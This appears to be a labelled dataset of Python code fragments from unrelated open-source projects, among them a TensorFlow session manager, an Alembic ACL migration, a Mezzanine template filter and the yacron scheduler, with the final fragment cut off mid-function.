headers={'Content-Type': 'application/json; charset=UTF-8'}, ) with pytest.raises(CustomResponseValidationException): _validate_against_tween( request, response=response, **{'pyramid_swagger.validation_context_path': validation_ctx_path} ) ",1 "ls import refactor_html register = template.Library() # Checking settings.TEMPLATE_STYLE. # Possible values are: # - mezzanine_developer_extension.styles.macos # - mezzanine_developer_extension.styles.ubuntu # - mezzanine_developer_extension.styles.windows _prefix = ""mezzanine_developer_extension.styles"" try: if settings.TERMINAL_STYLE not in \ [""%s.macos"" % _prefix, ""%s.ubuntu"" % _prefix, ""%s.windows"" % _prefix]: # If the user has specified a wrong terminal styling format, we # raise an exception warning about this. msg = ""Wrong terminal style format. Check the value of TERMINAL_STYLE""\ "" in your settings.py file."" raise Exception(msg) except AttributeError: msg = ""You have not specified a terminal output format. You have to""\ "" define the attribute TERMINAL_STYLE in your settings.py"" raise Exception(msg) @register.filter(name='safe_developer') def safe_developer(content, style=""macos""): """""" Renders content without cleaning the original. Replaces the terminal divs for a more complext html layout. """""" new_content = refactor_html(content, style) return mark_safe(new_content)",1 "mns, delimited by white space, containing (1) the count, (2) the lemma, (3) the main POS tag. The tagset is assumed to be the Spoken Dutch Corpus tagset, and the character encoding must be ISO-8859-1. The counts appear as the value of the feature ""count"" on
    elements. The updated lexical units xml database is written to standard output. Since we have only the lemma and the POS, and no word sense, the frequency information is added to each matching lexical unit regardless of its sense (i.e. the value of the ""c_seq_nr"" attribute). """""" # TODO: # - deal with multiword counts __author__ = 'Erwin Marsi ' __version__ = '0.6' from sys import stderr, stdout from xml.etree.cElementTree import iterparse, SubElement, tostring, ElementTree from cornetto.argparse import ArgumentParser, RawDescriptionHelpFormatter def read_counts(file): if not hasattr(file, ""read""): file = open(file) counts = {} totals = dict(noun=0, verb=0, adj=0, other=0) for l in file: try: count, form, tag = l.strip().split() except ValueError: stderr.write(""Warning; ill-formed line: %s\n"" % repr(l)) continue # translate CGN tagset to word category if tag in (""N"", ""VNW"", ""TW"", ""SPEC""): cat = ""noun"" elif tag in (""WW""): cat = ""verb"" elif tag in (""ADJ"", ""BW""): cat = ""adj"" else: # LET LID TSW VG VZ cat = ""other"" # Cornetto word forms are stored in unicode form = form.decode(""iso-8859-1"") count = int(count) if form not in counts: counts[form] = dict(noun=0, verb=0, adj=0, other=0) counts[form][cat] += count totals[cat] += count return counts, totals def add_count_attrib(counts, totals, cdb_lu_file): parser = iterparse(cdb_lu_file) for event, elem in parser: if elem.tag == ""form"": # following the ElementTree conventions, # word form will be ascii or unicode form = elem.get(""form-spelling"") # lower case because Cornette is not consistent cat = elem.get(""form-cat"").lower() # fix category flaws in current release of Cornetto if cat == ""adjective"": cat = ""adj"" elif cat == ""adverb"": cat = ""other"" try: count = counts[form][cat] except KeyError: # form not found count = 0 elem.set(""count"", str(count)) # Finally, add totals, per category and overall, to the doc root # Note that all words _not_ in Cornetto are not included in these totals totals[""all""] = sum(totals.values()) for cat, count in totals.items(): parser.root.set(""count-total-%s"" % cat, str(count)) return ElementTree(parser.root) parser = ArgumentParser(description=__doc__, version=""%(prog)s version "" + __version__, formatter_class=RawDescriptionHelpFormatter) parser.add_argument(""cdb_lu"", type=file, help=""xml file containing the lexical units"") parser.add_argument(""word_counts"", type=file, help=""tabular file containing the word counts"") args = parser.parse_args() counts, totals = read_counts(args.word_counts) etree = add_count_attrib(counts, totals, args.cdb_lu) etree.write(stdout, encoding=""utf-8"") #def add_statistics_elem(counts, cdb_lu_file): #"""""" #adds a separate element, #which accomodates for other counts for other sources #"""""" #parser = iterparse(cdb_lu_file) #for event, elem in parser: #if elem.tag == ""cdb_lu"": #try: #count = counts[form][cat] #except KeyError: #count = 0 #freq_el = SubElement(elem, ""statistics"") #SubElement(freq_el, ""count"", scr=""uvt"").text = str(count) #elif elem.tag == ""form"": ## following the ElementTree conventions, ## word form will be ascii or unicode #form = elem.get(""form-spelling"") #cat = elem.get(""form-cat"") #return ElementTree(parser.root) ",1 "es: if f.split('.')[-1] == 'xy': td = np.loadtxt(f) plt.plot(td[:, 0], np.log(1. / td[:, 1]) * fac, label=f) elif f.split('.')[-1] == 'spc': td = SPC(f) plt.plot(td.xdata, np.log(1. / np.array(td.ydata)), label=f) plt.legend() plt.show() if __name__ == '__main__': files = sys.argv[2:] fac = float(sys.argv[1]) plot(files, fac) ",1 "iers, used by Alembic. revision = '2d4882d39dbb' down_revision = 'dc2848563b53' POLICY_NAME = 'wazo_default_user_policy' ACL_TEMPLATES = ['dird.graphql.me'] policy_table = sa.sql.table( 'auth_policy', sa.Column('uuid', sa.String(38)), sa.Column('name', sa.String(80)) ) acl_template_table = sa.sql.table( 'auth_acl_template', sa.Column('id', sa.Integer), sa.Column('template', sa.Text) ) policy_template = sa.sql.table( 'auth_policy_template', sa.Column('policy_uuid', sa.String(38)), sa.Column('template_id', sa.Integer), ) def _find_acl_template(conn, acl_template): query = ( sa.sql.select([acl_template_table.c.id]) .where(acl_template_table.c.template == acl_template) .limit(1) ) return conn.execute(query).scalar() def _find_acl_templates(conn, acl_templates): acl_template_ids = [] for acl_template in acl_templates: acl_template_id = _find_acl_template(conn, acl_template) if acl_template_id: acl_template_ids.append(acl_template_id) return acl_template_ids def _get_policy_uuid(conn, policy_name): policy_query = sa.sql.select([policy_table.c.uuid]).where( policy_table.c.name == policy_name ) for policy in conn.execute(policy_query).fetchall(): return policy[0] def _insert_acl_template(conn, acl_templates): acl_template_ids = [] for acl_template in acl_templates: acl_template_id = _find_acl_template(conn, acl_template) if not acl_template_id: query = ( acl_template_table.insert() .returning(acl_template_table.c.id) .values(template=acl_template) ) acl_template_id = conn.execute(query).scalar() acl_template_ids.append(acl_template_id) return acl_template_ids def _get_acl_template_ids(conn, policy_uuid): query = sa.sql.select([policy_template.c.template_id]).where( policy_template.c.policy_uuid == policy_uuid ) return [acl_template_id for (acl_template_id,) in conn.execute(query).fetchall()] def upgrade(): conn = op.get_bind() policy_uuid = _get_policy_uuid(conn, POLICY_NAME) if not policy_uuid: return acl_template_ids = _insert_acl_template(conn, ACL_TEMPLATES) acl_template_ids_already_associated = _get_acl_template_ids(conn, policy_uuid) for template_id in set(acl_template_ids) - set(acl_template_ids_already_associated): query = policy_template.insert().values( policy_uuid=policy_uuid, template_id=template_id ) conn.execute(query) def downgrade(): conn = op.get_bind() acl_template_ids = _find_acl_templates(conn, ACL_TEMPLATES) if not acl_template_ids: return policy_uuid = _get_policy_uuid(conn, POLICY_NAME) if not policy_uuid: return delete_query = policy_template.delete().where( sa.sql.and_( policy_template.c.policy_uuid == policy_uuid, policy_template.c.template_id.in_(acl_template_ids), ) ) op.execute(delete_query) ",1 "is file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """"""Training helper that checkpoints models and creates session."""""" import time import numpy as np from tensorflow.python.client import session from tensorflow.python.distribute import distribution_strategy_context from tensorflow.python.framework import errors from tensorflow.python.framework import ops from tensorflow.python.platform import tf_logging as logging from tensorflow.python.training import checkpoint_management from tensorflow.python.util.tf_export import tf_export def _maybe_name(obj): """"""Returns object name if it has one, or a message otherwise. This is useful for names that apper in error messages. Args: obj: Object to get the name of. Returns: name, ""None"", or a ""no name"" message. """""" if obj is None: return ""None"" elif hasattr(obj, ""name""): return obj.name else: return """" % type(obj) def _restore_checkpoint_and_maybe_run_saved_model_initializers( sess, saver, path): """"""Restores checkpoint values and SavedModel initializers if found."""""" # NOTE: All references to SavedModel refer to SavedModels loaded from the # load_v2 API (which does not require the `sess` argument). # If the graph contains resources loaded from a SavedModel, they are not # restored when calling `saver.restore`. Thus, the SavedModel initializer must # be called with `saver.restore` to properly initialize the model. # The SavedModel init is stored in the ""saved_model_initializers"" collection. # This collection is part of the MetaGraph's default_init_op, so it is already # called by MonitoredSession as long as the saver doesn't restore any # checkpoints from the working dir. saved_model_init_ops = ops.get_collection(""saved_model_initializers"") if saved_model_init_ops: sess.run(saved_model_init_ops) # The saver must be called *after* the SavedModel init, because the SavedModel # init will restore the variables from the SavedModel variables directory. # Initializing/restoring twice is not ideal but there's no other way to do it. saver.restore(sess, path) @tf_export(v1=[""train.SessionManager""]) class SessionManager(object): """"""Training helper that restores from checkpoint and creates session. This class is a small wrapper that takes care of session creation and checkpoint recovery. It also provides functions that to facilitate coordination among multiple training threads or processes. * Checkpointing trained variables as the training progresses. * Initializing variables on startup, restoring them from the most recent checkpoint after a crash, or wait for checkpoints to become available. ### Usage: ```python with tf.Graph().as_default(): ...add operations to the graph... # Create a SessionManager that will checkpoint the model in '/tmp/mydir'. sm = SessionManager() sess = sm.prepare_session(master, init_op, saver, checkpoint_dir) # Use the session to train the graph. while True: sess.run() ``` `prepare_session()` initializes or restores a model. It requires `init_op` and `saver` as an argument. A second process could wait for the model to be ready by doing the following: ```python with tf.Graph().as_default(): ...add operations to the graph... # Create a SessionManager that will wait for the model to become ready. sm = SessionManager() sess = sm.wait_for_session(master) # Use the session to train the graph. while True: sess.run() ``` `wait_for_session()` waits for a model to be initialized by other processes. """""" def __init__(self, local_init_op=None, ready_op=None, ready_for_local_init_op=None, graph=None, recovery_wait_secs=30, local_init_run_options=None, local_init_feed_dict=None): """"""Creates a SessionManager. The `local_init_op` is an `Operation` that is run always after a new session was created. If `None`, this step is skipped. The `ready_op` is an `Operation` used to check if the model is ready. The model is considered ready if that operation returns an empty 1D string tensor. If the operation returns a non empty 1D string tensor, the elements are concatenated and used to indicate to the user why the model is not ready. The `ready_for_local_init_op` is an `Operation` used to check if the model is ready to run local_init_op. The model is considered ready if that operation returns an empty 1D string tensor. If the operation returns a non empty 1D string tensor, the elements are concatenated and used to indicate to the user why the model is not ready. If `ready_op` is `None`, the model is not checked for readiness. `recovery_wait_secs` is the number of seconds between checks that the model is ready. It is used by processes to wait for a model to be initialized or restored. Defaults to 30 seconds. Args: local_init_op: An `Operation` run immediately after session creation. Usually used to initialize tables and local variables. ready_op: An `Operation` to check if the model is initialized. ready_for_local_init_op: An `Operation` to check if the model is ready to run local_init_op. graph: The `Graph` that the model will use. recovery_wait_secs: Seconds between checks for the model to be ready. local_init_run_options: RunOptions to be passed to session.run when executing the local_init_op. local_init_feed_dict: Optional session feed dictionary to use when running the local_init_op. Raises: ValueError: If ready_for_local_init_op is not None but local_init_op is None """""" # Sets default values of arguments. if graph is None: graph = ops.get_default_graph() self._local_init_op = local_init_op self._ready_op = ready_op self._ready_for_local_init_op = ready_for_local_init_op self._graph = graph self._recovery_wait_secs = recovery_wait_secs self._target = None self._local_init_run_options = local_init_run_options self._local_init_feed_dict = local_init_feed_dict if ready_for_local_init_op is not None and local_init_op is None: raise ValueError(""If you pass a ready_for_local_init_op "" ""you must also pass a local_init_op "" "", ready_for_local_init_op [%s]"" % ready_for_local_init_op) def _restore_checkpoint(self, master, saver=None, checkpoint_dir=None, checkpoint_filename_with_path=None, wait_for_checkpoint=False, max_wait_secs=7200, config=None): """"""Creates a `Session`, and tries to restore a checkpoint. Args: master: `String` representation of the TensorFlow master to use. saver: A `Saver` object used to restore a model. checkpoint_dir: Path to the checkpoint files. The latest checkpoint in the dir will be used to restore. checkpoint_filename_with_path: Full file name path to the checkpoint file. wait_for_checkpoint: Whether to wait for checkpoint to become available. max_wait_secs: Maximum time to wait for checkpoints to become available. config: Optional `ConfigProto` proto used to configure the session. Returns: A pair (sess, is_restored) where 'is_restored' is `True` if the session could be restored, `False` otherwise. Raises: ValueError: If both checkpoint_dir and checkpoint_filename_with_path are set. """""" self._target = master # This is required to so that we initialize the TPU device before # restoring from checkpoint since we'll be placing variables on the device # and TPUInitialize wipes out the memory of the device. strategy = distribution_strategy_context.get_strategy() if strategy and hasattr(strategy.extended, ""_experimental_initialize_system""): strategy.extended._experimental_initialize_system() # pylint: disable=protected-access sess = session.Session(self._target, graph=self._graph, config=config) if checkpoint_dir and checkpoint_filename_with_path: raise ValueError(""Can not provide both checkpoint_dir and "" ""checkpoint_filename_with_path."") # If either saver or checkpoint_* is not specified, cannot restore. Just # return. if not saver or not (checkpoint_dir or checkpoint_filename_with_path): return sess, False if checkpoint_filename_with_path: _restore_checkpoint_and_maybe_run_saved_model_initializers( sess, saver, checkpoint_filename_with_path) return sess, True # Waits up until max_wait_secs for checkpoint to become available. wait_time = 0 ckpt = checkpoint_management.get_checkpoint_state(checkpoint_dir) while not ckpt or not ckpt.model_checkpoint_path: if wait_for_checkpoint and wait_time < max_wait_secs: logging.info(""Waiting for checkpoint to be available."") time.sleep(self._recovery_wait_secs) wait_time += self._recovery_wait_secs ckpt = checkpoint_management.get_checkpoint_state(checkpoint_dir) else: return sess, False # Loads the checkpoint. _restore_checkpoint_and_maybe_run_saved_model_initializers( sess, saver, ckpt.model_checkpoint_path) saver.recover_last_checkpoints(ckpt.all_model_checkpoint_paths) return sess, True def prepare_session(self, master, init_op=None, saver=None, checkpoint_dir=None, checkpoint_filename_with_path=None, wait_for_checkpoint=False, max_wait_secs=7200, config=None, init_feed_dict=None, init_fn=None): """"""Creates a `Session`. Makes sure the model is ready to be used. Creates a `Session` on 'master'. If a `saver` object is passed in, and `checkpoint_dir` points to a directory containing valid checkpoint files, then it will try to recover the model from checkpoint. If no checkpoint files are available, and `wait_for_checkpoint` is `True`, then the process would check every `recovery_wait_secs`, up to `max_wait_secs`, for recovery to succeed. If the model cannot be recovered successfully then it is initialized by running the `init_op` and calling `init_fn` if they are provided. The `local_init_op` is also run after init_op and init_fn, regardless of whether the model was recovered successfully, but only if `ready_for_local_init_op` passes. If the model is recovered from a checkpoint it is assumed that all global variables have been initialized, in particular neither `init_op` nor `init_fn` will be executed. It is an error if the model cannot be recovered and no `init_op` or `init_fn` or `local_init_op` are passed. Args: master: `String` representation of the TensorFlow master to use. init_op: Optional `Operation` used to initialize the model. saver: A `Saver` object used to restore a model. checkpoint_dir: Path to the checkpoint files. The latest checkpoint in the dir will be used to restore. checkpoint_filename_with_path: Full file name path to the checkpoint file. wait_for_checkpoint: Whether to wait for checkpoint to become available. max_wait_secs: Maximum time to wait for checkpoints to become available. config: Optional `ConfigProto` proto used to configure the session. init_feed_dict: Optional dictionary that maps `Tensor` objects to feed values. This feed dictionary is passed to the session `run()` call when running the init op. init_fn: Optional callable used to initialize the model. Called after the optional `init_op` is called. The callable must accept one argument, the session being initialized. Returns: A `Session` object that can be used to drive the model. Raises: RuntimeError: If the model cannot be initialized or recovered. ValueError: If both checkpoint_dir and checkpoint_filename_with_path are set. """""" sess, is_loaded_from_checkpoint = self._restore_checkpoint( master, saver, checkpoint_dir=checkpoint_dir, checkpoint_filename_with_path=checkpoint_filename_with_path, wait_for_checkpoint=wait_for_checkpoint, max_wait_secs=max_wait_secs, config=config) if not is_loaded_from_checkpoint: if init_op is None and not init_fn and self._local_init_op is None: raise RuntimeError(""Model is not initialized and no init_op or "" ""init_fn or local_init_op was given"") if init_op is not None: sess.run(init_op, feed_dict=init_feed_dict) if init_fn: init_fn(sess) local_init_success, msg = self._try_run_local_init_op(sess) if not local_init_success: raise RuntimeError( ""Init operations did not make model ready for local_init. "" ""Init op: %s, init fn: %s, error: %s"" % (_maybe_name(init_op), init_fn, msg)) is_ready, msg = self._model_ready(sess) if not is_ready: raise RuntimeError( ""Init operations did not make model ready. "" ""Init op: %s, init fn: %s, local_init_op: %s, error: %s"" % (_maybe_name(init_op), init_fn, self._local_init_op, msg)) return sess def recover_session(self, master, saver=None, checkpoint_dir=None, checkpoint_filename_with_path=None, wait_for_checkpoint=False, max_wait_secs=7200, config=None): """"""Creates a `Session`, recovering if possible. Creates a new session on 'master'. If the session is not initialized and can be recovered from a checkpoint, recover it. Args: master: `String` representation of the TensorFlow master to use. saver: A `Saver` object used to restore a model. checkpoint_dir: Path to the checkpoint files. The latest checkpoint in the dir will be used to restore. checkpoint_filename_with_path: Full file name path to the checkpoint file. wait_for_checkpoint: Whether to wait for checkpoint to become available. max_wait_secs: Maximum time to wait for checkpoints to become available. config: Optional `ConfigProto` proto used to configure the session. Returns: A pair (sess, initialized) where 'initialized' is `True` if the session could be recovered and initialized, `False` otherwise. Raises: ValueError: If both checkpoint_dir and checkpoint_filename_with_path are set. """""" sess, is_loaded_from_checkpoint = self._restore_checkpoint( master, saver, checkpoint_dir=checkpoint_dir, checkpoint_filename_with_path=checkpoint_filename_with_path, wait_for_checkpoint=wait_for_checkpoint, max_wait_secs=max_wait_secs, config=config) # Always try to run local_init_op local_init_success, msg = self._try_run_local_init_op(sess) if not is_loaded_from_checkpoint: # Do not need to run checks for readiness return sess, False restoring_file = checkpoint_dir or checkpoint_filename_with_path if not local_init_success: logging.info( ""Restoring model from %s did not make model ready for local init:"" "" %s"", restoring_file, msg) return sess, False is_ready, msg = self._model_ready(sess) if not is_ready: logging.info(""Restoring model from %s did not make model ready: %s"", restoring_file, msg) return sess, False logging.info(""Restored model from %s"", restoring_file) return sess, is_loaded_from_checkpoint def wait_for_session(self, master, config=None, max_wait_secs=float(""Inf"")): """"""Creates a new `Session` and waits for model to be ready. Creates a new `Session` on 'master'. Waits for the model to be initialized or recovered from a checkpoint. It's expected that another thread or process will make the model ready, and that this is intended to be used by threads/processes that participate in a distributed training configuration where a different thread/process is responsible for initializing or recovering the model being trained. NB: The amount of time this method waits for the session is bounded by max_wait_secs. By default, this function will wait indefinitely. Args: master: `String` representation of the TensorFlow master to use. config: Optional ConfigProto proto used to configure the session. max_wait_secs: Maximum time to wait for the session to become available. Returns: A `Session`. May be None if the operation exceeds the timeout specified by config.operation_timeout_in_ms. Raises: tf.DeadlineExceededError: if the session is not available after max_wait_secs. """""" self._target = master if max_wait_secs is None: max_wait_secs = float(""Inf"") timer = _CountDownTimer(max_wait_secs) while True: sess = session.Session(self._target, graph=self._graph, config=config) not_ready_msg = None not_ready_local_msg = None local_init_success, not_ready_local_msg = self._try_run_local_init_op( sess) if local_init_success: # Successful if local_init_op is None, or ready_for_local_init_op passes is_ready, not_ready_msg = self._model_ready(sess) if is_ready: return sess self._safe_close(sess) # Do we have enough time left to try again? remaining_ms_after_wait = ( timer.secs_remaining() - self._recovery_wait_secs) if remaining_ms_after_wait < 0: raise errors.DeadlineExceededError( None, None, ""Session was not ready after waiting %d secs."" % (max_wait_secs,)) logging.info(""Waiting for model to be ready. "" ""Ready_for_local_init_op: %s, ready: %s"", not_ready_local_msg, not_ready_msg) time.sleep(self._recovery_wait_secs) def _safe_close(self, sess): """"""Closes a session without raising an exception. Just like sess.close() but ignores exceptions. Args: sess: A `Session`. """""" # pylint: disable=broad-except try: sess.close() except Exception: # Intentionally not logging to avoid user complaints that # they get cryptic errors. We really do not care that Close # fails. pass # pylint: enable=broad-except def _model_ready(self, sess): """"""Checks if the model is ready or not. Args: sess: A `Session`. Returns: A tuple (is_ready, msg), where is_ready is True if ready and False otherwise, and msg is `None` if the model is ready, a `String` with the reason why it is not ready otherwise. """""" return _ready(self._ready_op, sess, ""Model not ready"") def _model_ready_for_local_init(self, sess): """"""Checks if the model is ready to run local_init_op. Args: sess: A `Session`. Returns: A tuple (is_ready, msg), where is_ready is True if ready to run local_init_op and False otherwise, and msg is `None` if the model is ready to run local_init_op, a `String` with the reason why it is not ready otherwise. """""" return _ready(self._ready_for_local_init_op, sess, ""Model not ready for local init"") def _try_run_local_init_op(self, sess): """"""Tries to run _local_init_op, if not None, and is ready for local init. Args: sess: A `Session`. Returns: A tuple (is_successful, msg), where is_successful is True if _local_init_op is None, or we ran _local_init_op, and False otherwise; and msg is a `String` with the reason why the model was not ready to run local init. """""" if self._local_init_op is not None: is_ready_for_local_init, msg = self._model_ready_for_local_init(sess) if is_ready_for_local_init: logging.info(""Running local_init_op."") sess.run(self._local_init_op, feed_dict=self._local_init_feed_dict, options=self._local_init_run_options) logging.info(""Done running local_init_op."") return True, None else: return False, msg return True, None def _ready(op, sess, msg): """"""Checks if the model is ready or not, as determined by op. Args: op: An op, either _ready_op or _ready_for_local_init_op, which defines the readiness of the model. sess: A `Session`. msg: A message to log to warning if not ready Returns: A tuple (is_ready, msg), where is_ready is True if ready and False otherwise, and msg is `None` if the model is ready, a `String` with the reason why it is not ready otherwise. """""" if op is None: return True, None else: try: ready_value = sess.run(op) # The model is considered ready if ready_op returns an empty 1-D tensor. # Also compare to `None` and dtype being int32 for backward # compatibility. if (ready_value is None or ready_value.dtype == np.int32 or ready_value.size == 0): return True, None else: # TODO(sherrym): If a custom ready_op returns other types of tensor, # or strings other than variable names, this message could be # confusing. non_initialized_varnames = "", "".join( [i.decode(""utf-8"") for i in ready_value]) return False, ""Variables not initialized: "" + non_initialized_varnames except errors.FailedPreconditionError as e: if ""uninitialized"" not in str(e): logging.warning(""%s : error [%s]"", msg, str(e)) raise e return False, str(e) class _CountDownTimer(object): __slots__ = [""_start_time_secs"", ""_duration_secs""] def __init__(self, duration_secs): self._start_time_secs = time.time() self._duration_secs = duration_secs def secs_remaining(self): diff = self._duration_secs - (time.time() - self._start_time_secs) return max(0, diff) ",1 "n this file, 'cd' to the top directory of the python source tree after building the interpreter and run: python Lib/keyword.py """""" __all__ = [""iskeyword"", ""kwlist""] kwlist = [ #--start keywords-- 'and', 'assert', 'break', 'class', 'continue', 'def', 'del', 'elif', 'else', 'except', 'exec', 'finally', 'for', 'from', 'global', 'if', 'import', 'in', 'is', 'lambda', 'not', 'or', 'pass', 'print', 'raise', 'return', 'try', 'while', 'yield', #--end keywords-- ] kwdict = {} for keyword in kwlist: kwdict[keyword] = 1 iskeyword = kwdict.has_key def main(): import sys, re args = sys.argv[1:] iptfile = args and args[0] or ""Python/graminit.c"" if len(args) > 1: optfile = args[1] else: optfile = ""Lib/keyword.py"" # scan the source file for keywords fp = open(iptfile) strprog = re.compile('""([^""]+)""') lines = [] while 1: line = fp.readline() if not line: break if line.find('{1, ""') > -1: match = strprog.search(line) if match: lines.append("" '"" + match.group(1) + ""',\n"") fp.close() lines.sort() # load the output skeleton from the target fp = open(optfile) format = fp.readlines() fp.close() # insert the lines of keywords try: start = format.index(""#--start keywords--\n"") + 1 end = format.index(""#--end keywords--\n"") format[start:end] = lines except ValueError: sys.stderr.write(""target does not contain format markers\n"") sys.exit(1) # write the output file fp = open(optfile, 'w') fp.write(''.join(format)) fp.close() if __name__ == ""__main__"": main() ",1 "able, Dict, List, Optional, Union # noqa from urllib.parse import urlparse from aiohttp import web import yacron.version from yacron.config import ( JobConfig, parse_config, ConfigError, parse_config_string, WebConfig, ) from yacron.job import RunningJob, JobRetryState from crontab import CronTab # noqa logger = logging.getLogger(""yacron"") WAKEUP_INTERVAL = datetime.timedelta(minutes=1) def naturaltime(seconds: float, future=False) -> str: assert future if seconds < 120: return ""in {} second{}"".format( int(seconds), ""s"" if seconds >= 2 else """" ) minutes = seconds / 60 if minutes < 120: return ""in {} minute{}"".format( int(minutes), ""s"" if minutes >= 2 else """" ) hours = minutes / 60 if hours < 48: return ""in {} hour{}"".format(int(hours), ""s"" if hours >= 2 else """") days = hours / 24 return ""in {} day{}"".format(int(days), ""s"" if days >= 2 else """") def get_now(timezone: Optional[datetime.tzinfo]) -> datetime.datetime: return datetime.datetime.now(timezone) def next_sleep_interval() -> float: now = get_now(datetime.timezone.utc) target = now.replace(second=0) + WAKEUP_INTERVAL return (target - now).total_seconds() def create_task(coro: Awaitable) -> asyncio.Task: return asyncio.get_event_loop().create_task(coro) def web_site_from_url(runner: web.AppRunner, url: str) -> web.BaseSite: parsed = urlparse(url) if parsed.scheme == ""http"": assert parsed.hostname is not None assert parsed.port is not None return web.TCPSite(runner, parsed.hostname, parsed.port) elif parsed.scheme == ""unix"": return web.UnixSite(runner, parsed.path) else: logger.warning( ""Ignoring web listen url %s: scheme %r not supported"", url, parsed.scheme, ) raise ValueError(url) class Cron: def __init__( self, config_arg: Optional[str], *, config_yaml: Optional[str] = None ) -> None: # list of cron jobs we /want/ to run self.cron_jobs = OrderedDict() # type: Dict[str, JobConfig] # list of cron jobs already running # name -> list of RunningJob self.running_jobs = defaultdict( list ) # type: Dict[str, List[RunningJob]] self.config_arg = config_arg if config_arg is not None: self.update_config() if config_yaml is not None: # config_yaml is for unit testing config, _, _ = parse_config_string(config_yaml, """") self.cron_jobs = OrderedDict((job.name, job) for job in config) self._wait_for_running_jobs_task = None # type: Optional[asyncio.Task] self._stop_event = asyncio.Event() self._jobs_running = asyncio.Event() self.retry_state = {} # type: Dict[str, JobRetryState] self.web_runner = None # type: Optional[web.AppRunner] self.web_config = None # type: Optional[WebConfig] async def run(self) -> None: self._wait_for_running_jobs_task = create_task( self._wait_for_running_jobs() ) startup = True while not self._stop_event.is_set(): try: web_config = self.update_config() await self.start_stop_web_app(web_config) except ConfigError as err: logger.error( ""Error in configuration file(s), so not updating "" ""any of the config.:\n%s"", str(err), ) except Exception: # pragma: nocover logger.exception(""please report this as a bug (1)"") await self.spawn_jobs(startup) startup = False sleep_interval = next_sleep_interval() logger.debug(""Will sleep for %.1f seconds"", sleep_interval) try: await asyncio.wait_for(self._stop_event.wait(), sleep_interval) except asyncio.TimeoutError: pass logger.info(""Shutting down (after currently running jobs finish)..."") while self.retry_state: cancel_all = [ self.cancel_job_retries(name) for name in self.retry_state ] await asyncio.gather(*cancel_all) await self._wait_for_running_jobs_task if self.web_runner is not None: logger.info(""Stopping http server"") await self.web_runner.cleanup() def signal_shutdown(self) -> None: logger.debug(""Signalling shutdown"") self._stop_event.set() def update_config(self) -> Optional[WebConfig]: if self.config_arg is None: return None config, web_config = parse_config(self.config_arg) self.cron_jobs = OrderedDict((job.name, job) for job in config) return web_config async def _web_get_version(self, request: web.Request) -> web.Response: return web.Response(text=yacron.version.version) async def _web_get_status(self, request: web.Request) -> web.Response: out = [] for name, job in self.cron_jobs.items(): running = self.running_jobs.get(name, None) if running: out.append( { ""job"": name, ""status"": ""running"", ""pid"": [ runjob.proc.pid for runjob in running if runjob.proc is not None ], } ) else: crontab = job.schedule # type: Union[CronTab, str] now = get_now(job.timezone) out.append( { ""job"": name, ""status"": ""scheduled"", ""scheduled_in"": ( crontab.next(now=now, default_utc=job.utc) if isinstance(crontab, CronTab) else str(crontab) ), } ) if request.headers.get(""Accept"") == ""application/json"": return web.json_response(out) else: lines = [] for jobstat in out: # type: Dict[str, Any] if jobstat[""status""] == ""running"": status = ""running (pid: {pid})"".format( pid="", "".join(str(pid) for pid in jobstat[""pid""]) ) else: status = ""scheduled ({})"".format( ( jobstat[""scheduled_in""] if type(jobstat[""scheduled_in""]) is str else naturaltime( jobstat[""scheduled_in""], future=True ) ) ) lines.append( ""{name}: {status}"".format( name=jobstat[""job""], status=status ) ) return web.Response(text=""\n"".join(lines)) async def _web_start_job(self, request: web.Request) -> web.Response: name = request.match_info[""name""] try: job = self.cron_jobs[name] except KeyError: raise web.HTTPNotFound() await self.maybe_launch_job(job) return web.Response() async def start_stop_web_app(self, web_config: Optional[WebConfig]): if self.web_runner is not None and ( web_config is None or web_config != self.web_config ): # assert self.web_runner is not None logger.info(""Stopping http server"") await self.web_runner.cleanup() self.web_runner = None if ( web_config is not None and web_config[""listen""] and self.web_runner is None ): app = web.Application() app.add_routes( [ web.get(""/version"", self._web_get_version), web.get(""/status"", self._web_get_status), web.post(""/jobs/{name}/start"", self._web_start_job), ] ) self.web_runner = web.AppRunner(app) await self.web_runner.setup() for addr in web_config[""listen""]: site = web_site_from_url(self.web_runner, addr) logger.info(""web: started listening on %s"", addr) try: await site.start() except ValueError: pass self.web_config = web_config async def spawn_jobs(self, startup: bool) -> None: for job in self.cron_jobs.values(): if self.job_should_run(startup, job): await self.launch_scheduled_job(job) @staticmethod def job_should_run(startup: bool, job: JobConfig) -> bool: if ( startup and isinstance(job.schedule, str) and job.schedule == ""@reboot"" ): logger.debug( ""Job %s (%s) is scheduled for startup (@reboot)"", job.name, job.schedule_unparsed, ) return True elif isinstance(job.schedule, CronTab): crontab = job.schedule # type: CronTab if crontab.test(get_now(job.timezone).replace(second=0)): logger.debug( ""Job %s (%s) is scheduled for now"", job.name, job.schedule_unparsed, ) return True else: logger.debug( ""Job %s (%s) not scheduled for now"", job.name, job.schedule_unparsed, ) return False else: return False async def launch_scheduled_job(self, job: JobConfig) -> None: await self.cancel_job_retries(job.name) assert job.name not in self.retry_state retry = job.onFailure[""retry""] logger.debug(""Job %s retry config: %s"", job.name, retry) if retry[""maximumRetries""]: retry_state = JobRetryState( retry[""initialDelay""], retry[""backoffMultiplier""], retry[""maximumDelay""], ) self.retry_state[job.name] = retry_state await self.maybe_launch_job(job) async def maybe_launch_job(self, job: JobConfig) -> None: if self.running_jobs[job.name]: logger.warning( ""Job %s: still running and concurrencyPolicy is %s"", job.name, job.concurrencyPolicy, ) if job.concurrencyPolicy == ""Allow"": pass elif job.concurrencyPolicy == ""Forbid"": return elif job.concurrencyPolicy == ""Replace"": for running_job in self.running_jobs[job.name]: await running_job.cancel() else: raise AssertionError # pragma: no cover logger.info(""Starting job %s"", job.name) running_job = RunningJob(job, self.retry_state.get(job.name)) await running_job.start() self.running_jobs[job.name].append(running_job) logger.info(""Job %s spawned"", job.name) self._jobs_running.set() # continually watches for the running jobs, clean them up when they exit async def _wait_for_running_jobs(self) -> None: # job -> wait task wait_tasks = {} # type: Dict[RunningJob, asyncio.Task] while self.running_jobs or not self._stop_event.is_set(): try: for jobs in self.running_jobs.values(): for job in jobs: if job not in wait_tasks: wait_tasks[job] = create_task(job.wait()) if not wait_tasks: try: await asyncio.wait_for(self._jobs_running.wait(), 1) except asyncio.TimeoutError: pass continue self._jobs_running.clear() # wait for at least one task with timeout done_tasks, _ = await asyncio.wait( wait_tasks.values(), timeout=1.0, 